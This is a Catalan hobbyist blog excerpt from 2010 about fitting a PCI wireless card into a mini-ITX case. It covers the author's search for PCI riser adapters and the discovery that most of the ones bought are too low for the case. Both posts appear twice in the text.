A la foto es veu com queda tot el muntatge intern, la unitat òptica no s'hi pot muntar, la tarja PCI ho evita, no hi caben tots dos. Comentar que hi vaig haver d'afegir un altaveu per la placa base, que no en porta, així sento els "bips" de la placa base, i amb això i la tapa posada tot queda com a la foto que hi ha a la primera entrada del projecte.
dijous, 5 d’agost del 2010
Complicant-me la vida: Aprenent les coses massa tard
Quan una cosa no la se i me la pregunten dic que no la se. Quan una cosa no se que no la se, no puc actuar-hi en conseqüència.
DE QUE COLLONS ESTIC PARLANT?!?!
Bàsicament, la caixa que utilitzo miniITX donava per suposat que era mitjanament estàndard en les seves mides, és fins a cert punt difícil, perquè la única cosa que defineix el miniITX són les mides de la placa base, no les de la caixa, i per tan, els fabricants fan el que volen.
El problema és que suposava que la caixa internament complia les mides d'ancoratge d'una caixa estàndard d'1 U, però resulta que no és així: La caixa fa uns 6 cm d'alt, no els prop de 4'5 cm que hauria de fer una caixa d'1U, això no és cap sorpresa, la sorpresa és que l'ancoratge intern per la tarja PCI en horitzontal que disposa donava per suposat que era equivalent al d'una caixa enracable d'1 U, i no és així!
Dues conseqüències: Ha quedat demostrada (altre cop, gran novetat!) la meva ignorància i avui m'ha arribat un paquet de Xina amb 10 elevadors PCI sobre placa per a caixes d'1U que no puc utilitzar per ser massa baixos!!! Simplement, la tarja PCI tocaria amb els connectors posteriors de la placa base.
Al final resulta que tinc un adaptador que m'és vàlid i 10 més que no (No penso llençar-los, mai se sap), encara continuo volent comprar-ne de nous que em valguin, però bé de preu clar.
Ja posats, algú em sap dir si el connector que utilitzo és estàndard? Com n'hi haig de dir?
Busqueu les diferencies:
DE QUE COLLONS ESTIC PARLANT?!?!
Bàsicament, la caixa que utilitzo miniITX donava per suposat que era mitjanament estàndard en les seves mides, és fins a cert punt difícil, perquè la única cosa que defineix el miniITX són les mides de la placa base, no les de la caixa, i per tan, els fabricants fan el que volen.
El problema és que suposava que la caixa internament complia les mides d'ancoratge d'una caixa estàndard d'1 U, però resulta que no és així: La caixa fa uns 6 cm d'alt, no els prop de 4'5 cm que hauria de fer una caixa d'1U, això no és cap sorpresa, la sorpresa és que l'ancoratge intern per la tarja PCI en horitzontal que disposa donava per suposat que era equivalent al d'una caixa enracable d'1 U, i no és així!
Dues conseqüències: Ha quedat demostrada (altre cop, gran novetat!) la meva ignorància i avui m'ha arribat un paquet de Xina amb 10 elevadors PCI sobre placa per a caixes d'1U que no puc utilitzar per ser massa baixos!!! Simplement, la tarja PCI tocaria amb els connectors posteriors de la placa base.
Al final resulta que tinc un adaptador que m'és vàlid i 10 més que no (No penso llençar-los, mai se sap), encara continuo volent comprar-ne de nous que em valguin, però bé de preu clar.
Ja posats, algú em sap dir si el connector que utilitzo és estàndard? Com n'hi haig de dir?
Busqueu les diferencies:
dijous, 22 de juliol del 2010
Complicant-me la vida: De l'epopeia que representa trobar un elevador PCI sobre placa (o no)
Ha costat i ha costat!
Ja havia comentat en alguna entrada anterior que era molt interessant que aconseguís aquesta mena d'adaptador, la caixa de que disposo permet muntar una tarja PCI, però només si ho faig horitzontalment per sobre de la placa base.
Després de repassar-me la majoria de tendes especialitzades del Carrer Sepùlveda preguntant per exactament el tipus d'adaptador PCI que necessitava, un elevador PCI sobre placa, només a una tenda em va dir que me'l podien proporcionar, per encàrrec, i que em costaria 15 €, que era probable que en tinguessin al magatzem i me'l podien portar. Vaja, que em cobraven un preu car per un component vell que no tenien esperances de vendre i que només feia que acumular pols i ocupar espai, no crec que els hi fos un mal negoci. En aquells moments ja em van agafar una mica desesperat.
Internet no havia resultat molt útil, ni les tendes xineses, ni eBay, ni les tendes en línia mitjanament importants, ...
En resum, al final, al cap de més de quinze dies d'haver-ho demanat vaig aconseguir això:
Ha passat el temps, coses dels exàmens escric aquesta entrada bastant més tard del que hauria volgut, i per aquelles coses de la vida/Internet l'altre dia vaig acabar mirant el catàleg d'una tenda xinesa a eBay: El catàleg més eclèctic que et puguis imaginar en temes d'electrònica per ordinadors i sense cap ordre ni sentit, vaig acabar-hi comprant dos dispositius USB per mesurar la temperatura i 10 (Sí, he dit 10) adaptadors elevadors PCI sobre placa, mira tu quina casualitat que aquests xinesos sí en tinguessin i estiguessin disposats a vendre-me'n a un preu immillorable. Preu total dels 12 components: 12 dòlars, això sí, el cost de l'enviament pujava també a 12 $, despropòsits!
Resultat al final? Ja puc muntar com cal la tarja de xarxa sense fils dins de la caixa i tancar-ho tot.
Ja havia comentat en alguna entrada anterior que era molt interessant que aconseguís aquesta mena d'adaptador, la caixa de que disposo permet muntar una tarja PCI, però només si ho faig horitzontalment per sobre de la placa base.
Després de repassar-me la majoria de tendes especialitzades del Carrer Sepùlveda preguntant per exactament el tipus d'adaptador PCI que necessitava, un elevador PCI sobre placa, només a una tenda em va dir que me'l podien proporcionar, per encàrrec, i que em costaria 15 €, que era probable que en tinguessin al magatzem i me'l podien portar. Vaja, que em cobraven un preu car per un component vell que no tenien esperances de vendre i que només feia que acumular pols i ocupar espai, no crec que els hi fos un mal negoci. En aquells moments ja em van agafar una mica desesperat.
Internet no havia resultat molt útil, ni les tendes xineses, ni eBay, ni les tendes en línia mitjanament importants, ...
En resum, al final, al cap de més de quinze dies d'haver-ho demanat vaig aconseguir això:
Ha passat el temps, coses dels exàmens escric aquesta entrada bastant més tard del que hauria volgut, i per aquelles coses de la vida/Internet l'altre dia vaig acabar mirant el catàleg d'una tenda xinesa a eBay: El catàleg més eclèctic que et puguis imaginar en temes d'electrònica per ordinadors i sense cap ordre ni sentit, vaig acabar-hi comprant dos dispositius USB per mesurar la temperatura i 10 (Sí, he dit 10) adaptadors elevadors PCI sobre placa, mira tu quina casualitat que aquests xinesos sí en tinguessin i estiguessin disposats a vendre-me'n a un preu immillorable. Preu total dels 12 components: 12 dòlars, això sí, el cost de l'enviament pujava també a 12 $, despropòsits!Resultat al final? Ja puc muntar com cal la tarja de xarxa sense fils dins de la caixa i tancar-ho tot.
Subscriure's a:
Missatges (Atom)